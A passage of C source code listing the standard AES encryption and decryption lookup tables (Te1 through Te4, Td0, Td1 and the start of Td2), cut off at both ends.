0xc177b6b6U, 0x75afdadaU, 0x63422121U, 0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U, 0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU, 0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U, 0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU, 0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U, 0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU, 0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U, 0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U, 0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU, 0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU, 0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU, 0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U, 0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U, 0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU, 0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U, 0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU, 0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U, 0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU, 0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U, 0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU, 0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU, 0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U, 0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU, 0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U, 0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU, 0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U, 0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U, 0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U, 0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU, 0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU, 0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U, 0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU, 0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U, }; const u32 Te2[256] = { 0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU, 0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U, 0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU, 0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U, 0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU, 0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U, 0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU, 0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U, 0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U, 0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU, 0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U, 0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U, 0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U, 0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU, 0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U, 0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U, 0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU, 0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U, 0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U, 0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U, 0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU, 0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU, 0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U, 0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU, 0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU, 0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U, 0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU, 0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U, 0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU, 0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U, 0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U, 0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U, 0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU, 0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U, 0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU, 0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U, 0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU, 0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U, 0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U, 0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU, 0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU, 0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU, 0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U, 0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U, 0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU, 0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U, 0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU, 0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U, 0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU, 0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U, 0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU, 0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU, 0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U, 0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU, 0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U, 0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU, 0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U, 0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U, 0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U, 0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU, 0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU, 0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U, 0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU, 0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U, }; const u32 Te3[256] = { 0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U, 0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U, 0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U, 0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU, 0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU, 0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU, 0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U, 0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU, 0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU, 0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U, 0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U, 0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU, 0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU, 0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU, 0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU, 0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU, 0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U, 0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU, 0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU, 0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U, 0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U, 0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U, 0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U, 0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U, 0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU, 0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U, 0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU, 0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU, 0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U, 0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U, 0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U, 0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU, 0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U, 0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU, 0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU, 0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U, 0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U, 0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU, 0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U, 0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU, 0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U, 0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U, 0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U, 0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U, 0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU, 0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U, 0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU, 0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U, 0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU, 0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U, 0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU, 0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU, 0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU, 0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU, 0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U, 0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U, 0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U, 0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U, 0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U, 0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U, 0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU, 0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U, 0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU, 0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU, }; const u32 Te4[256] = { 0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU, 0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U, 0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU, 0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U, 0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU, 0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U, 0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU, 0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U, 0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U, 0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU, 0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U, 0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U, 0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U, 0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU, 0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U, 0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U, 0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU, 0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U, 0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U, 0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U, 0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU, 0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU, 0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U, 0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU, 0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU, 0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U, 0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU, 0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U, 0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU, 0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U, 0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U, 0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U, 0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU, 0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U, 0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU, 0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U, 0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU, 0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U, 0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U, 0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU, 0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU, 0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU, 0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U, 0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U, 0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU, 0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U, 0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU, 0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U, 0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU, 0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U, 0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU, 0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU, 0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U, 0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU, 0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U, 0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU, 0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U, 0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U, 0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U, 0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU, 0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU, 0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U, 0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU, 0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U, }; #endif /* AES_SMALL_TABLES */ const u32 Td0[256] = { 0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U, 0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U, 0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U, 0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU, 0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U, 0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U, 0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU, 0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U, 0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU, 0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U, 0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U, 0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U, 0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U, 0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU, 0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U, 0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU, 0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U, 0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU, 0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U, 0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U, 0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U, 0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU, 0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U, 0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU, 0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U, 0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU, 0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U, 0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU, 0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU, 0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U, 0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU, 0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U, 0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU, 0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U, 0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U, 0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U, 0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU, 0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U, 0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U, 0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU, 0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U, 0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U, 0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U, 0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U, 0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U, 0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU, 0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U, 0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U, 0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U, 0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U, 0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U, 0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU, 0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU, 0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU, 0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU, 0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U, 0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U, 0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU, 0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU, 0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U, 0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU, 0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U, 0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U, 0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U, }; #ifndef AES_SMALL_TABLES const u32 Td1[256] = { 0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU, 0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U, 0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU, 0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U, 0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U, 0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U, 0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U, 0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U, 0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U, 0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU, 0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU, 0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU, 0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U, 0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU, 0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U, 0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U, 0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U, 0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU, 0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU, 0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U, 0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU, 0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U, 0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU, 0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU, 0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U, 0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U, 0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U, 0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU, 0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U, 0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU, 0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U, 0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U, 0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U, 0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU, 0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U, 0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U, 0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U, 0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U, 0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U, 0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U, 0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU, 0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU, 0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U, 0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU, 0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U, 0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU, 0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU, 0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U, 0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU, 0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U, 0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U, 0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U, 0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U, 0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U, 0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U, 0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U, 0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU, 0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U, 0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U, 0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU, 0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U, 0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U, 0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U, 0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U, }; const u32 Td2[256] = { 0xa75051f4U, 0x65537e41U, 